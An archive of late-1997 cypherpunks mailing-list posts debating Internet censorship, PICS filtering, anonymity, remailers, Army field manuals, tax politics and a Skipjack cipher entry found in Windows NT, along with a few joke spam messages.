

-------------------- End Cryptography Manifesto excerpt --------------------


Where have I heard that "Human Dignity" stuff before?

Oh yeah: Congress passed a law (overturned by the US Supreme Court) called
something like "Decency and Honor in the Military", which outlawed selling
Playboy and Penthouse magazines from military base stores.

And...

In comp.org.eff.talk Dave Bird <DevNull@xemu.demon.co.uk> wrote:
: The European Commission today adopted a proposal for an Action Plan on
: promoting safe use of the Internet.  [snip]
 
: The Action Plan is closely linked with the Commission Communication and
: proposal for a Recommendation of 18 November 1997, which outlines
: political measures on protection of minors and human dignity in the
: audiovisual services (http://europa.eu.int/en/comm/dg10/avpolicy/new_srv
: /comlv-en.htm).

#   telematics crimes
 
Ooooh, new terminology for Internet crimes.
Your are a telematic criminal.
Must have laws to control telematic criminals.
Porno bad.
Nudity bad.
Pretrial publicity bad. (Illegal in England & Canada? Not the USA!)
Copyright violations bad.
Bad bad bad.

 
http://www2.echo.lu/legal/en/internet/wp2en-chap.html#2A
 
#   4. FINLAND
#
#   d. Other initiatives
#
#   27. The report holds the view that anonymous use of the Internet should
#       be allowed, however, traceability of persons using the Internet
#       should be ensured.
 
Oh, great, the Usenet II definition of "anonymous".
 
Anonymity will be under direct attack next.

Next thing you know, Chris Lewis will be recommending to the NNTP
standards people that each and every user should be identified
via a "Sender:" line.

#   From owner-ietf-nntp@academ.com Fri Dec 19 18:43:15 1997
#   Cc: ietf-nntp@academ.com
#   From: "Chris Lewis" <clewis@nortel.ca>
#   Subject: re:ietf-nntp Minutes from the WG
#   
#      Once authenticated, the server SHOULD generate a Sender: line
#      using the email address provided by the authenticator if it
#      does not match the user-supplied From: line.

Yep.

Chris says he merely wants it for "statistics".

Chris Lewis has declared I am on his content-based NoCeM list.
I apparently profess views he doesn't appreciate, so I am labeled
as "bad" so I can be "filtered".

People couldn't possible choose to killfile me on their own.

It's just a "global killfile" said someone.

Same goes for the whole PICSRules deal...completely unnecessary.

PICSRules wants to "objectively" label content.

A Senator Feinstein here in the USA keeps introducing a
bill to outlaw "bombmaking information on the Internet".

*   C-SPAN Television, Wednesday June 5th, 1997
*
*   Andrew Grove, Chairman & CEO of Intel Corporation, is asked whether
*   bomb-making information should be censored from the Internet.
*
*   "No. The same information is available in libraries, and we don't
*   censor libraries, nor should we. When I was thirteen I built a
*   nitroglycerin bomb. It was an incredibly stupid thing to do,
*   and I knew someone who had their hand blown off, but I am
*   adamantly against censoring such material."
*
*   "And unlike a library, a parent can buy a program that uses keyword
*   monitoring to disallow Internet traffic per the parents' wishes.
*   Such a program is available now, and costs only $29."

Mr. Grove was just awarded Time magazine's "Man of the Year".

So, one day there's material labeled "adult/bomb info", and the
next day: it's illegal in the USA.

Only way to do it: require PICSRules filtering at the ISP level.

Nothing else scales.

:  Demon Internet:
:  "The aim of this new system is to help streamline the process of
:  finding duplicated illegal material on the Internet and reduce the
:  number of abusers of the Internet...

Filtering software will reduce "the number of abusers"???

#   http://www.gilc.org/speech/ratings/gilc-pics-submission.html
#   
#   PICSRules 1.1 go far beyond the original objective of PICS to
#   empower Internet users to control what they and those under their
#   care access. They further facilitate the implementation of
#   server/ proxy-based filtering thus providing a more simplified
#   means of enabling upstream censorship, beyond the control of the
#   end user. 

You aren't fooling anyone, Clive.

Except maybe yourself.


----


And what was that about getting rid of anonymity, by - at the least -
guaranteeing traceability even through anonymous remailers?

Brad Templeton, EFF director, has a few ideas of his own:

   "no fake addresses is one of my non-negotiable
    requirements...eventual Usenet will require
    digital signatures"  --- Brad Templeton


Funny, how MLM companies (yes, ISP accounts are an MLM-able product)
including Brad's Clarinet company would like to get rid of short-term
ISP accounts too.

Brad states he wants commitment and accountability.

This EFF director wants all email and Usenet posts signed
by your digital signature, a massive control-freak change
in the status quo.

This twists some of the very technology netizens hoped
would protect us to being used against us.

*** Brad is emphatically for digital signature authentication, #1:
 
#   I am not talking about law.  I am talking about practice.
#   You want to mail me, you put a digital sig on your mail.
#   You want to send a posting into my news server,
#   you put a digital sig on it.
 
 
*** Brad is emphatically for digital signature authentication, #2:
 
Brad Templeton emailed:
*   Information Security emailed:
 
*   > Nor does your digital signature idea do anything to prevent
*   > throw-away accounts from doing major spams; you'll have to
*   > put even MORE controls on people.
*
*   Correct, no throw away accounts.  It's coming.
*
*   > The digital signature idea is an astonishingly bad idea, that
*   > only frustrated control-freaks will accept.
*
*   You are mistaken.  I surveyed a roomful of usenet admins at a
*   conference last year.  They were 95% in favor of it.

[I replied that those were the control-freaks I was talking about]
 
 
*** Brad is emphatically for digital signature authentication, #3:
 
Brad Templeton emailed, formatted by guy:
 
>   As far as I am concerned, no fake addresses is one of my non-negotiable
>   requirements, because
>
>      the eventual USENET is going to have digital signature requirements.
>
>   It's the only way to stop [people from] posting under fake addresses
>   where we can't find them, and that means stopping honest users from
>   doing it too.
 
 
*** Brad is emphatically for digital signature authentication, #4:
 
    http://www.clari.net/brad/spam.html [snipped]
 
    Solutions...
 
    First, improve internet mail systems and protocols to
    identify mail with a fake or forged return address.
 
    There are some simple steps to do this, and
    eventually digital signature allows complete
    verification of the sender.

    http://polka.clari.net/usenet-format/cert.html
 
    Q: What about anonymous remailers?
 
    A: A person with an anonymous address that sends mail back will
    probably be able to get a certificate. They can post without revealing
    their name, except perhaps to the person who gives them a certificate.
    Digital signature works fine to prove the same person sent two messages
    without saying at all who that person is in the real world.
 
Forced to authenticate they are the same
person, even through the anonymous remailer.
 
A certificate by another person needed.
 
I call that traceable.

No comment by the EFF.


----


PICSRules is just the first step in putting the entire Net under
government control.

See how important it is to Brad that ~"people can be found"?

Everyone with power becomes a control freak, apparently.


----


Clive Feather wrote:

:   Modern special effects are quite capable of producing such films
:   without requiring a real murder. Consider a wide range of recent
:   cinema releases.

No good enough for our rulers, Clive.

Video & drawings suddenly considered illegal here in the USA...
No new law was passed...

-------------------- Begin Cryptography Manifesto excerpt --------------------

The law refers to "lascivious exhibition of the genitals or pubic area".
 
The FBI takes that to mean naked. Obviously.
 
A poorly written bill, interpreted by predatory pinheads.
 
Guess what?
 
1/18/95 NYT: In a case that did not involve nudity or genital visibility,
Attorney General Janet Reno filed a brief with the Supreme Court that
said it was not necessary for a child pornography conviction. That is
how she interprets the language of the bill.
 
Wow.
 
And I thought Ed Meese was a bad Attorney General. Meese had written
to companies like the owners of 7-11 and told them selling Playboy and
Penthouse could get them Federal obscenity charges. That was his attempt
to get around the First Amendment.
 
10/3/96 NYT: Because of computers, a bill was passed that changes the
definition of child pornography to include generated images that do
not involve actual children.
 
Thought crime. Law enforcement child pornography hysteria.
 
Sturges incident: attacked by the FBI Thought Police Squad. Massive corrupt
use of governmental law enforcement authority to enforce mere political
correctness. Due to its size: by definition not an aberration.
 
It cost one million dollars of our tax money.


-------------------- End Cryptography Manifesto excerpt --------------------


That's right: the laws can be re-interpreted at any time by the police.

In the above mentioned case, Janet Reno's Department of Justice had
first filed a brief with the US Supreme Court AGAINST a child
pornography conviction for the person involved.

During election year politics, over 200 Senators wrote to her and
said they'd make a big campaign issue of it if she didn't change
her mind.

She changed her mind and filed an OPPOSITE brief in the Supreme Court.

Sheesh.

The "law" is a shifting sand...quicksand for those "on the edge"...


   "Protect the children" ---Clive Feather

Oh, how quickly people forget all the manipulation involved
in "protecting children"...

-------------------- Begin Cryptography Manifesto excerpt --------------------

On June 19, 1997, Senate Commerce Committee Chairman John McCain introduced
his own bill (Senator Kerrey co-sponsor) which parrots the Clinton
administration's position and forced it to replace the Pro-Code bill.
 
He banged the Drum of War against Child Pornography.
 
*   http://cgi.pathfinder.com/netly, By Declan McCullagh
*
*   In the end, it was child pornography that derailed encryption legislation
*   in the U.S. Senate and dealt a bitter defeat to crypto supporters.
*
*   Sen. John McCain (R-Ariz.), committee chair and chief sponsor of the
*   measure, led the attack, saying Congress must "stop child pornography
*   on the Internet."
*
*   He warned that "allowing encryption to be exported would permit child
*   pornographers to use it."
*
*   "If it's being used for child pornography? Are we going to say
*   that's just fine? That's it's just business? I don't think so."
*
*   Sen. John Ashcroft (R-MO) tried to disagree. "It's like photography. We're
*   not going to [ban] photography if someone takes dirty pictures."
*
*   At this point, one of the more deaf committee members asked,
*   "Pornography? Are we going to ban pornography?"
*
*   The Senate Commerce Committee then approved McCain's bill.
*
*   For a committee whose bailiwick is commerce, the senators seemed somewhat
*   detached from their mandate with business taking a backseat.
*
 
Thank you once again, oh Free World Leaders, for that intelligent discourse.
 
 
*   The New York Times, June 15 1997
*
*   "Washington Kidnaps Dick and Jane - See How Washington Uses Dick and Jane"
*
*   These days much of the nation's political debate focuses on children - or
*   on the needs and interests of children as defined by politicians.
*
*   Mr. Horn, who was chief of the Childrens Bureau in the Bush Administration
*   added, "A cynic would say that children are being used as props or proxies."
 
Color me cynical.

 
*   "WHITE HOUSE IS SET TO EASE ITS STANCE ON INTERNET SMUT"
*   The New York Times, By John M. Broder, June 16 1997
*
*   Administration officials, in a draft report dated June 4 1997, have been
*   quietly fashioning a new communications policy that leaves most regulation
*   of the Internet to industry and people themselves, due to an expected
*   repudiation of the Communications Decency Act by the Supreme Court.
*
*   Reno's people, [beating the Drum of War] told the Supreme Court "the
*   Internet was a revolutionary threat to children rendering irrelevant all
*   prior efforts" to protect them from pornography.
*
*   "We all knew at the time it was passed that the Communications Decency Act
*   WAS UNCONSTITUTIONAL," said an anonymous senior government official [yea
*   anonymity!].
*
*   "This was purely politics."
*
*   "How could you be against a bill limiting
*   the display of pornography to children?"

-------------------- End Cryptography Manifesto excerpt --------------------


Ah, yes, how could anyone be against a mega world-wide organization
for labeling all WWW and Usenet so it can be reported to the police
when the law is reinterpreted for the moment's politically incorrect
information?

Er, I mean, for protecting children?


----


Anyone wishing a copy of the 'Cryptography Manifesto', email guy
@panix.com using subject line 'Requesting Cryptography Manifesto'.

It's 519K (about 75 double-sided pages).

It documents world-wide spying by the US National Security Agency.

Merry Christmas kudos to cypherpunk John Gilmore for
putting himself at risk by publishing RSAREF source
code on the Net recently.  http://www.toad.com/~dnssec

He is directly taking on the US National Security Agency.

Fred Salchli <fjs@mcs.net> wrote:
 
:   I heard a brief report on BBC World News last evening that an internal
:   report has been issued by European Union criticizing the NSA for
:   bugging ALL of their communications. (Yes, ALL was the word used in the
:   report!). The BBC mentioned that all communications were being filtered
:   (voice and data) for key words and phrases, and the EU had some compelling
:   evidence to support this. Interesting to see what, if anything comes of
:   this.

Awww, the EU is upset the NSA is spying on it...
---guy

   Just don't say anything illegal, what's the problem? ;-)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Fri, 26 Dec 1997 07:34:42 +0800
To: anon@squirrel.owl.de (Secret Squirrel)
Subject: Re: Best Cypherpunk War Text
In-Reply-To: <c0dc96eba3e95dba5188f69e01209759@squirrel>
Message-ID: <199712252326.RAA08704@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Secret Squirrel wrote:
> >><A HREF=http://www.atsc-army.org/atdls.html> Army Manuals</A>
> >>
> >>go to field manuals
> >>
> >>you can find all you want and more
> >>
> >>igor
> >
> >They've restricted it and want full names, addresses, military unit, SSNs,
> >phone numbers, etc. Anyone have a mirror of it somewhere?

Well, the documents that the original poster requested -- survival, MOUT
(military ops on urbanized terrain), and much more -- are not restricted.
Some make great reading and are, to my big surprise, very well written.

The manual that I recommend to cypherpunks is FM 21-20, Physical
Fitness.

According to my spot check, most of the restricted manuals are not
actually of interest to most readers. They probably want to keep the
Russian spies out of knowing some gory technical details. The stuff
that is more exciting, like FM 5-250, Explosives and Demolitions, can
be found elsewhere.

> Baaaaaaaah humbug. Let me rephrase that:
> 
> They've restricted some of them and want full names, addresses, military
> unit, SSNs, phone numbers, etc. Does anybody have a mirror of *those*
> specific documents somewhere?
> 

They may be sold on CD-ROMs. Look at misc.survivalism for more details,
they sell them for $24 but I am not sure what's on them.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Fri, 26 Dec 1997 06:59:26 +0800
To: nobody@replay.com
Subject: Re: Best Cypherpunk War Text
In-Reply-To: <199712252135.WAA06881@basement.replay.com>
Message-ID: <199712252252.RAA05502@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
| ><A HREF=http://www.atsc-army.org/atdls.html> Army Manuals</A>
| >
| >go to field manuals
| >
| >you can find all you want and more
| >
| >igor
| 
| They've restricted it and want full names, addresses, military unit, SSNs,
| phone numbers, etc. Anyone have a mirror of it somewhere?

	Glen Roberts has copied all sorts of useful information like
this from the Congressional Record.  Combine with 411, dejanews and
other search engines.

	Uncle Sam wants you to take advantage of his privacy
practices.

Adam



-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <anon@squirrel.owl.de>
Date: Fri, 26 Dec 1997 02:58:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Best Cypherpunk War Text
Message-ID: <c0dc96eba3e95dba5188f69e01209759@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



>><A HREF=http://www.atsc-army.org/atdls.html> Army Manuals</A>
>>
>>go to field manuals
>>
>>you can find all you want and more
>>
>>igor
>
>They've restricted it and want full names, addresses, military unit, SSNs,
>phone numbers, etc. Anyone have a mirror of it somewhere?

Baaaaaaaah humbug. Let me rephrase that:

They've restricted some of them and want full names, addresses, military
unit, SSNs, phone numbers, etc. Does anybody have a mirror of *those*
specific documents somewhere?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Fri, 26 Dec 1997 05:28:40 +0800
To: cypherpunks@toad.com
Subject: Re: Digital Revolutionaries
Message-ID: <UnTmgZ/cfu4Q9Y2bDSvDrA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On Wed, 24 Dec 1997 at 21:47:09 +0100 (MET) TruthKidMonger wrote:

"If this is the revolution, why are the drink prices so high?"
~       Patron at New York City guerilla bar

"'Cause There Ain't No Such Thing As A Free Revolution, kid."
~       Patron's host and tour guide, coiner of TANSTAAFR





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Secret Squirrel <anon@squirrel.owl.de>
Date: Fri, 26 Dec 1997 06:59:16 +0800
To: cypherpunks@Algebra.COM
Subject: Cypherpunks IRC Christmas Eve Party
Message-ID: <fb540c9995fc5a7361613485b2af95bc@squirrel>
MIME-Version: 1.0
Content-Type: text/plain



>If anyone wants to drop by #Cypherpunks on EFNet this evening, myself and
>others will be around to chat.

I suggest we schedule another one for New Year's Day. New Year's Eve is when
everybody parties and gets drunk. 

Also, is there any way to IRC anonymously? The situation is complicated by
the fact that IRC, like any real-time communications system, requires
real-time stream connections which are traceable back to their sources.
CROWDS isn't advanced enough or designed to hide arbitrary TCP/IP traffic,
though it could have been.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Fri, 26 Dec 1997 05:50:20 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Best Cypherpunk War Text
Message-ID: <199712252135.WAA06881@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



><A HREF=http://www.atsc-army.org/atdls.html> Army Manuals</A>
>
>go to field manuals
>
>you can find all you want and more
>
>igor

They've restricted it and want full names, addresses, military unit, SSNs,
phone numbers, etc. Anyone have a mirror of it somewhere?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jkthomson <jkthomson@bigfoot.com>
Date: Fri, 26 Dec 1997 16:57:14 +0800
To: cypherpunks@toad.com
Subject: actual, on-topic post (tm)
Message-ID: <3.0.3.32.19971226005032.007517d4@dowco.com>
MIME-Version: 1.0
Content-Type: text/plain




does a large number of 'bounces' between randomly selected remailers
increase security/untraceability?  what if you made each message go through
ALL remailers, or nearly all?

be gentle...  I'm just a lurker.




--------------------------------------------------------
james keith thomson <jkthomson@bigfoot.com>   ICQ:746241
PGP 263i keysig: 85C6 F156 5F8E 1457 F613 AA3A 5E69 E873
public keys availible at <pgp.mit.edu>
--------------------------------------------------------

The Whispered Rule:
  People will believe anything if you whisper it.

========================================================






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Fri, 26 Dec 1997 17:30:06 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Cypherpunks IRC Christmas Eve Party
In-Reply-To: <fb540c9995fc5a7361613485b2af95bc@squirrel>
Message-ID: <3.0.3.32.19971226012406.00755c6c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:23 PM 12/25/1997 -0000, Secret Squirrel wrote:
>>If anyone wants to drop by #Cypherpunks on EFNet this evening, myself and
>>others will be around to chat.
>I suggest we schedule another one for New Year's Day. 
>New Year's Eve is when everybody parties and gets drunk. 

Great - cypherpunks are grouchy enough when they're not hung over :-)
(Actually, caffeine appears to be the drug of choice for many of us,
plus miscellaneous amino acids and other strange entropy-fighters...
but it was hard to pass up a straight line.)

>Also, is there any way to IRC anonymously? The situation is complicated by
>the fact that IRC, like any real-time communications system, requires
>real-time stream connections which are traceable back to their sources.
>CROWDS isn't advanced enough or designed to hide arbitrary TCP/IP traffic,
>though it could have been.

Pipenet would be the right choice, if we had one, or DC-nets.
I don't know if the Onion Router stuff is still web-only or if it's
also supporting telnet applications.  Alternatively, someone could
build an IRC laundry without much difficulty, but you'd have to trust
the administrators.  

IPSEC provides privacy for communications,
but doesn't protect the connection information very well,
though IPSEC between firewalls is at least a partial mix.
Once IPSEC is widely deployed, it may be interesting to 
piggyback a pipenet-like system on top of it, basically a
bogus-traffic generator that's keeps packet levels fairly constant.
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Fri, 26 Dec 1997 15:16:23 +0800
To: cypherpunks@toad.com
Subject: Chodorov (was Freedom Forum)
Message-ID: <oB9ORS4Ne8Pr1xKZcnw2yA==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On Sun, 21 Dec 1997 23:19:36 -0500 Duncan Frissell wrote:

> I sort of like Tim's reasoning.
> 
> It's reminiscent of Frank Chordorov's remarks back 
> during the McCarthy Era.  "If you're worried about 
> Communists in government jobs; get rid of the 
> government jobs."

Required reading for revolutionaries of the digital era,
from a very bright light of the 1950's and one who
did much to shape the movement that became libertarianism.
Following are two excerpts, the first from commentary on
a current Web page, the second from Chodorov's 1954 book.

"The Sixteenth Amendment passed because the country thought 
only the rich would pay. In 1910 William Shelton, a 
Georgian, wrote that Southerners favored ratification 
'because none of us here have $4,000 incomes, and somebody 
else will have to pay the tax.' This view proved 
shortsighted. As Frank Chodorov noted in The Income Tax: 
Root of All Evil: 'At first it was the incomes of 
corporations, then of rich citizens, then of well-provided
widows and opulent workers, and finally the wealth of 
housemaids and the tips of waitresses. This is all in line 
with the ability-to-pay doctrine. The poor, simply because 
there are more of them, have more ability to pay than the 
rich.'"

    - www.elibrary.compuserve.com/qotd/10087/fetch/philk_04.htm

"Author's Introduction:  Argument

"Tradition has a way of hanging on even after it is, for 
all practical purposes, dead. We in this country still use 
individualistic terms -- as, for instance, the rights of 
man -- when, as a matter of fact, we think and behave in 
the framework of collectivistic doctrine. We support and 
advocate such practices as farm-support prices, social 
security, government housing, socialized medicine, 
conscription, and all sorts of ideas that stem from the
thesis that man has no rights except those given him by
government.

"Despite this growing tendency to look to political power
as the source of material betterment and as the guide to
our personal destinies, we still talk of limited government,
states' rights, checks and balances, and of the personal
virtues of thrift, industry, and initiative. Thanks to our
literature, the tradition hangs on even though it has lost
force.

"But there are many Americans to whom the new trend is
distasteful, partly because they are traditionalists, partly
because they find it personally unpleasant, partly because
reason tells that it must lead to the complete subjugation
of the individual, as in Nazi Germany or Communits Russia,
and they don't like the prospect. It is for these Americans
that this book is written. They are the "elite" -- the
questing spirits who in all times effect revolutionary
changes. For a revolution now is certainly in order. And
by "revolution" I mean the return to the people of that
sovereignty which our tradition assumes them to have. I mean
the return to them of the power which government has 
confiscated by way of the Sixteenth Amendment.

"When you examine any species of government intervention
you find that it is made possible by revenues. A government
is as strong as its income. Contrariwise, the independence
of the people is in direct proportion to the amount of 
their wealth that they can enjoy. We cannot restore 
traditional American freedom unless we limit the 
government's power to tax. No tinkering with this, or that, 
or the other law will stop the trend toward socialism. We 
must repeal the Sixteenth Amendment."

    - F. C.

"XII. For Freedom's Sake [excerpted]

"Whether there are any mystic forces pushing men along a 
path from which there is no escape, is a moot question.
But there is no questioning the fact that throughout
history men have regularly made excursions in quest of
freedom, and that every one of these excursions was
identified by its leadership. It is a logical inference
therefore that when men of that stripe appear on the
scene the cause of freedom is not neglected. Perhaps,
after all, the present plight of freedom in America is
due to lack of leadership.

"If, for instance, those who prate about 'free enterprise'
were willing to risk bankruptcy for it, even as the men of
the Declaration risked their necks for independence, the
present drive for the collectivization of capital would
not have such easy going. Assuming that they are fully
aware of the implications of the phrase they mouth, and
are sincere in the protestations, the fact that they are
unwilling to suffer mortification of the flesh disqualifies
them for leadership, and the case for 'free enterprise' is
hopeless.

"The present low estate of freedom in this country must be
laid to lack of the proper leadership -- to men who know
that freedom is and who do not equate it with their own
'standard of living.' Whether or not leadership could have
averted, or can still stop, the trend toward socialism,
may be open to question; that a glorious fight for freedom
might yet enliven the American scene is not. Whether a
fight for freedom will be crowned with success, is less
important than the fight itself, for if nothing comes of
it, the improvement in the spirit of the fighters will be
a gain, and they cannot help but keep alive the values
that will make America a better climate for their offspring
to live in.

"There is no accounting for the emergence of these superior
men, these "sports of nature," who sporadically shape the
course of mankind. They come, as it were, from nowhere, and
nobody has yet conclusively explained their advent. But,
they come. When in her own time and her own pleasure Nature
deems America ready for and worthy of them, she will give
us the men who will make the good fight. It seems reasonable
to assume that their first objective will be -- Repeal of
the Sixteenth Amendment."

_the_income_tax_ (subtitled _root_of_all_evil_)
by Frank Chodorov, foreword by J Bracken Lee
Copyright 1954 by Frank Chodorov
The Devin-Adair Company, Old Greenwich CT 06870
Second printing Feb 1963
Third printing Jun 1974
(no ISBN)

Although I don't know, I think it likely this precious 
little book is out of print.

We Jurgar Din





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sat, 27 Dec 1997 01:51:39 +0800
To: cypherpunks@toad.com
Subject: Re: Censorial leftists (Was: Interesting article)
In-Reply-To: <Pine.LNX.3.95.971203175851.581C-100000@is-chief>
Message-ID: <19971226092752.62182@songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, Dec 04, 1997 at 09:10:25PM -0500, frissell@panix.com wrote:
> At 10:50 PM 12/3/97 -0800, Kent Crispin wrote:
> 
> >Interesting.  I was absolutely dead center.
> 
> Why do I not find this surprising?
> 
> >Centrist 
> >
> >Centrists favor selective government intervention and emphasize 
> >practical solutions to current problems. They
> >tend to keep an open mind on new issues. Many centrists feel that 
> >government serves as a check on excessive
> >liberty. 
> 
> Then there are those who feel that liberty is a check on excessive 
> government.  I have yet to see many examples of people damaged by 
> too much political liberty.  Perhaps Kent can fill us in.

Depends on what you mean by "damage", and what you mean by "liberty", 
does it not?

Using the quasi-religious meaning for "political liberty" that you
imply, of course it is impossible for for there to be too much of it:
"political liberty" is just another term for "The Good", and there can
never be too much of The Good.

On the other hand, if by "political liberty" you mean "activity
without any politically powered constraint", then, arguably, *every*
action where a bad thing, done by a person, could have been prevented
through the exercise of political power is damage due to political
liberty.  That is, every common murder and robbery, every crime of any
sort, is damage due to political liberty.

If you are free to postulate a perfect state of liberty, I am free to 
postulate a perfect political system.  Neither exists in the real 
world. 

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Sat, 27 Dec 1997 02:25:01 +0800
To: "J.A. Terranson" <cypherpunks@toad.com
Subject: Re: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
Message-ID: <3.0.32.19691231160000.00700de0@shell15.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain



It is most definitely an SSL 3 supported cipher but unless you have the
token or such,
then it is not going to be used for anything, and then only if you try to
connect 
to a Skipjack (ie. fortezza) site.  I doubt you have the code as it is
classified and available (at this time) only in hardware.  Don't sweat it,
it looks like it's just a hook or .....

What environment/flavor of stuff are you running?
I can help you with this if you want to contact me off the list.


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At 11:45 AM 12/26/97 -0500, Ray Arachelian wrote:
>Now this is interesting! :)  (Either that or JA is smoking crack... - no
>idea on JA's reputation capital though...)
>
>=====================================Kaos=Keraunos=Kybernetos==============
>.+.^.+.|  Ray Arachelian    |Prying open my 3rd eye.  So good to see |./|\.
>..\|/..|sunder@sundernet.com|you once again. I thought you were      |/\|/\
><--*-->| ------------------ |hiding, and you thought that I had run  |\/|\/
>../|\..| "A toast to Odin,  |away chasing the tail of dogma. I opened|.\|/.
>.+.v.+.|God of screwdrivers"|my eye and there we were....            |.....
>======================= http://www.sundernet.com ==========================
>
>---------- Forwarded message ----------
>Date: Wed, 24 Dec 1997 01:29:07 -0600
>From: "J.A. Terranson" <sysadmin@mfn.org>
>To: 'NT Security Listserv' <ntsecurity@iss.net>
>Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?)
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I was rooting around in the registry tonight, (looking to repair my own 
>stupidity!),
>and guess what I saw?  SKIPJACK is installed, and ENABLED!  I have NOT
>(now would I EVER) installed it voluntarily, and Micro$loth only advertises 
>the
>"standard" ciphers (which I also found).
>
>Is anyone else aware of this?  Is it safe to delete the key (and code? 
>Hopefully
>this is DLL driven: I'm still looking!).
>
>Also, anyone know what it was put there for?  It's certainly not what I
would 
>
>consider an SSL issue!
>
>J.A. Terranson
>sysadmin@mfn.org
>A small fading light in a vast and obscure universe...
>
>PROTECT YOUR RIGHT TO PRIVACY - ENCRYPT!
>PGP/DSS: 0x12896749  FP: 63F2 1777 BC38 AC1E 3359 
>                                             0B0E C6C0 ED6B 1289 6749
>PGP/RSA: 0x9D85DF05 FP: 810C 25E9 7DD3 C157 
>                                             3081 A202 DDFD 4245
>If Government wants us to behave, it should set a better example!
>
>
>-----BEGIN PGP SIGNATURE-----
>Version: PGP for Personal Privacy 5.0
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>Attachment Converted: "F:\GDW\Mail\[NTSEC] SKIPJACK  NT4.0 (SP3)"
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 26 Dec 1997 17:56:53 +0800
To: cypherpunks@toad.com
Subject: Size Doesn't Matter
Message-ID: <199712260945.KAA20021@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	SOMETHING small IS GOING TO HAPPEN !!!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Little Peter
|<--------------------------------------------------->|
                       2"
                      ----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 26 Dec 1997 17:58:20 +0800
To: cypherpunks@toad.com
Subject: Little Things Mean A Lot
Message-ID: <199712260947.KAA20195@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
	SOMETHING small IS GOING TO HAPPEN !!!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Little Peter
|<--------------------------------------------------->|
                       2"
                      ----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@invweb.net>
Date: Sat, 27 Dec 1997 02:19:19 +0800
To: Ray Arachelian <sunder@brainlink.com>
Subject: Re: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
In-Reply-To: <Pine.SUN.3.96.971226114446.17857A-101000@beast.brainlink.com>
Message-ID: <199712261814.NAA19784@users.invweb.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

In <Pine.SUN.3.96.971226114446.17857A-101000@beast.brainlink.com>, on
12/26/97 
   at 11:45 AM, Ray Arachelian <sunder@brainlink.com> said:

>Now this is interesting! :)  (Either that or JA is smoking crack... - no
>idea on JA's reputation capital though...)

Well to be honest anyone who would trust the M$ crypto API get what they
deserve.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://users.invweb.net/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 27 Dec 1997 00:49:57 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: [NTSEC] SKIPJACK / NT4.0 (SP3?) (fwd)
Message-ID: <Pine.SUN.3.96.971226114446.17857A-101000@beast.brainlink.com>
MIME-Version: 1.0
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Content-Transfer-Encoding: 7bit

